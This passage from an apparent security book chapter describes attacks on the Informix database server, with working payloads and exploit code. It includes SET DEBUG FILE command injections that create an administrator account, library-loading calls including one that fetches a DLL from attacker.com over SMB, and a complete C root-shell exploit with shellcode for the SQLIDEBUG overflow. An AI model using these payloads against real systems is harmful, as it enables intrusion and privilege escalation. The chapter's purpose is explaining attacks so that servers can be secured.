Here, the attacker is exploiting the command injection vulnerability in the start_onpload procedure. Note that when the system function is called cmd.exe will run as the logged on user - not the informix user. Finally, to gain the privileges of the Informix user, which is a local administrator on Windows, the attacker executes

```
execute procedure infor-
mix.ifx_replace_module('nosuch.dll','C:\g.dll.0000000041dc4e74','c','')
```

The ifx_replace_module is used to replace shared objects that are loaded via SPL calls. When executed, this causes Informix to load the DLL and when the DLL loads the DllMain() function is executed and does so *with the privileges of the informix user.* By placing nefarious code in the DllMain function the attacker can run code as the Informix user and thus gain control of the database server.

On Linux, Informix does the same thing. If we create a shared object and export an _init function, when it is loaded by oninit the function is executed.

```
// mylib.c
// gcc -fPIC -c mylib.c
// gcc -shared -nostartfiles -o libmylib.so mylib.o
#include <stdio.h>
void _init(void)
{
system("whoami > /tmp/whoami.txt");
return;
}
```

If this is compiled and placed in the /tmp directory and is loaded with

```
execute procedure infor-
mix.ifx_replace_module('foobar','/tmp/libmylib.so','c','')
```

then the results of the whoami command show it to be the informix user.

This privilege upgrade attack has used multiple security vulnerabilities to succeed. Being able to write out files on the server and run operating system commands is clearly dangerous; but being able to force Informix to load arbitrary libraries is even more so.

Before closing this section on running operating system commands we'll look at one more problem. On Windows and Linux the SET DEBUG FILE SQL command causes the Informix server process to call the system() function. On

Windows the command executed by Informix is "cmd /c type nul > C:\Informix\sqexpln\user-supplied-filename".

By setting the debug file name to 'foo&command' an attacker can run arbitrary commands - e.g.

```
SET DEBUG FILE TO 'foo&dir > c:\sqlout.txt'
```

What's interesting here is that the command, in the case, runs with the privileges not of the logged on user, but the Informix user. As the Informix user is a local administrator an attacker could execute

```
SET DEBUG FILE TO 'foo&net user hack password!! /add'
SET DEBUG FILE TO 'foo&net localgroup administrators hack /add'
SET DEBUG FILE TO 'foo&net localgroup Informix-Admin hack /add'
```

and create themselves a highly privileged account.

On Linux it’s slightly different, the command run is

```
/bin/sh –c umask 0; echo > ‘/user-supplied-filename’
```

Note the presence of single quotes. We need to break out of these, embed our arbitrary command and then close them again. By running

```
SET DEBUG FILE TO "/tmp/a';/bin/ls>/tmp/zzzz;echo 'hello"
```

Informix ends up executing

```
/bin/sh -c umask 0;echo > '/tmp/a';/bin/ls>/tmp/zzzz;echo 'hello'
```

Note that, while on Windows the command runs as the Informix user, it doesn’t on Linux. The command will run with the privileges of the logged on user instead.

While we're on SET DEBUG FILE I should note that it's vulnerable to a stack-based buffer overflow vulnerability, too.

Loading arbitrary libraries

Informix supports a number of functions that allow routine libraries to be replaced on the fly. This way, if a developer wants to change the code of a function they can recompile the library then replace it without having to bring down the server. We’ve already seen this in action using the ifx_replace_module function. There are similar functions, such as reload_module and ifx_load_internal. These can be abused by low privileged users to force Informix to load arbitrary libraries and execute code as the Informix user.

One aspect that should be considered on Informix running on Windows is UNC paths.

```
execute function informix.ifx_load_internal('\\attacker.com\bin\ifxdll.dll','c')
```

The above will force the Informix server to connect to attacker.com over SMB and connect to the bin share. As the oninit process is running as the Informix user, when the connection to the share is made it is done so with its credentials. Therefore, attacker.com needs to be configured to allow any user ID and password to be used for authentication. Once connected the Informix server downloads ifxdll.dll and loads it into its address space and executes the DllMain() function.

It's important to ensure that public have had the execute permission removed from these routines; they have been given it by default.

Reading and Writing arbitrary files on the server

We've just seen two functions LOTOFILE and FILETOCLOB. These can be used to read and write files on the server.

SQL Buffer Overflows in Informix

Informix suffers from a number of buffer overflow vulnerabilities that can be exploited via SQL. Some of them we've already discussed but known to be vulnerable in Informix 9.40 version 5 include:

```
DBINFO
LOTOFILE
FILETOCLOB
SET DEBUG FILE
ifx_file_to_file
```

On exploiting these overflows an attacker can execute code as the Informix user.

Local Attacks against Informix Running on Unix platforms

Before getting to the meat, it's important to remember that, while these attacks are described as local, remote users can take advantage of these, too, by using some of the shell vulnerabilities described earlier. When Informix is installed on Unix-based platforms a number of binaries have the setuid and setgid bits set. From Linux:

```
-rwsr-sr-x   1 root     informix    13691 Sep 16 04:28 ifmxgcore
-rwsr-sr-x   1 root     informix   965461 Jan 13 14:23 onaudit
-rwsr-sr-x   1 root     informix  1959061 Jan 13 14:23 onbar_d
-rwxr-sr-x   1 informix informix  1478387 Jan 13 14:22 oncheck
```

```
-rwsr-sr-x   1 root     informix  1887869 Sep 16 04:31 ondblog
-rwsr-sr-x   1 root     informix  1085766 Sep 16 04:29 onedcu
-rwxr-sr-x   1 informix informix   552872 Sep 16 04:29 onedpu
-rwsr-sr--   1 root     informix 10261553 Jan 13 14:23 oninit
-rwxr-sr-x   1 informix informix   914079 Jan 13 14:22 onload
-rwxr-sr-x   1 informix informix  1347273 Jan 13 14:22 onlog
-rwsr-sr-x   1 root     informix  1040156 Jan 13 14:23 onmode
-rwsr-sr-x   1 root     informix  2177089 Jan 13 14:23 onmonitor
-rwxr-sr-x   1 informix informix  1221725 Jan 13 14:22 onparams
-rwxr-sr-x   1 informix informix  2264683 Jan 13 14:22 onpload
-rwsr-sr-x   1 root     informix   956122 Jan 13 14:23 onshowaudit
-rwsr-sr-x   1 root     informix  1968948 Jan 13 14:23 onsmsync
-rwxr-sr-x   1 informix informix  1218880 Jan 13 14:22 onspaces
-rwxr-sr-x   1 informix informix  4037881 Jan 13 14:22 onstat
-rwsr-sr-x   1 root     informix  1650717 Jan 13 14:23 ontape
-rwxr-sr-x   1 informix informix   914081 Jan 13 14:22 onunload
-rwsr-sr-x   1 root     informix   514323 Sep 16 04:32 sgidsh
-rwxr-sr-x   1 informix informix  1080849 Sep 16 04:29 xtree
```

The ones of most interest are setuid root. In the past Informix has suffered from a number of local security problems with setuid root programs. Some include insecure temporary file creation, race conditions and buffer overflows. Indeed 9.40.UC5TL still suffers from some issues. For example, if an overly long SQLDEBUG environment variable is set and an Informix program is run it will segfault. This is because they all share a common bit of code where if SQLIDEBUG is set to

```
1:/path_to_debug_file
```

then the file is opened. A long path name will overflow a stack based buffer allowing an attacker to run arbitrary code. Attacking onmode, for example, allows an attacker to gain root privileges. The code below demonstrates this:

```
#include <stdio.h>
unsigned char GetAddress(char *address, int lvl);
unsigned char shellcode[]=
"\x31\xC0\x31\xDB\xb0\x17\x90\xCD\x80\x6A\x0B\x58\x99\x52\x68\x6E"
"\x2F\x73\x68\x68\x2F\x2F\x62\x69\x54\x5B\x52\x53\x54\x59\xCD\x80"
"\xCC\xCC\xCC\xCC";
int main(int argc, char *argv[])
{
        unsigned char buffer[2000]="";
        unsigned char sqlidebug[2000]="1:/";
        unsigned char X = 0x61, cnt = 0;
        int count = 0;
        if(argc != 2)
        {
                printf("\n\n\tExploit for the Informix SQLIDEBUG over-
flow\n\n\t");
                printf("Gets a rootshell via onmode\n\n\tUsage:\n\n\t");
```

```
                printf("$ INFORMIXDIR=/opt/informix; export INFORMIXDIR\n\t");
                printf("$ SQLIDEBUG=`%s address` ; export SQLIDEBUG\n\t$ on-
mode\n\t",argv[0]);
                printf("sh-2.05b# id\n\tuid=0(root) gid=500(litch)
groups=500(litch)\n\n\t");
                printf("\n\n\taddress is the likely address of the stack.\n\t");
                printf("On Redhat/Fedora 2 it can be found c. FEFFF448\n\n\t");
                printf("David Litchfield\n\t27th August
2004\n\t(davidl@ngssoftware.com)\n\n");
                return 0;
        }

        while(count < 271)
                buffer[count++]=0x42;
        count = strlen(buffer);
        buffer[count++]=GetAddress(argv[1],6);
        buffer[count++]=GetAddress(argv[1],4);
        buffer[count++]=GetAddress(argv[1],2);
        buffer[count++]=GetAddress(argv[1],0);

        while(count < 1400)
                buffer[count++]=0x90;
        strcat(buffer,shellcode);
        strcat(sqlidebug,buffer);
        printf("%s",sqlidebug);
        return 0;
}
unsigned char GetAddress(char *address, int lvl)
{
        char A = 0, B = 0;
        int len = 0;
        len = strlen(address);
        if(len !=8)
                return 0;
        if(lvl)
                if(lvl ==2 || lvl ==4 || lvl ==6 )
                        goto cont;
                else
                        return 0;
        cont:
        A = (char)toupper((int)address[0+lvl]);
        B = (char)toupper((int)address[1+lvl]);
        if(A < 0x30)
                return 0;
        if(A < 0x40)
                A = A - 0x30;
        else
        {
                if(A > 0x46 || A < 41)
                        return 0;
                else
                        A = A - 0x37;
```

```
        }
        if(B < 0x30)
                return 0;
        if(B < 0x40)
                B = B - 0x30;
        else
        {
                if(B > 0x46 || B < 41)
                        return 0;
                else
                        B = B - 0x37;
        }
        A = (A * 0x10 + B);
        return A;
}
```

Conclusion

We have seen that in some circumstances gaining control of Informix without a user ID and password is trivial; one only needs to exploit the overly long username buffer overflow. If the attacker already has a user ID and password they may be able to use one of the techniques described here to compromise the server. That said, with a few patches and configuration changes, Informix can be made considerably more secure and able to withstand attack. So let's look at securing Informix now.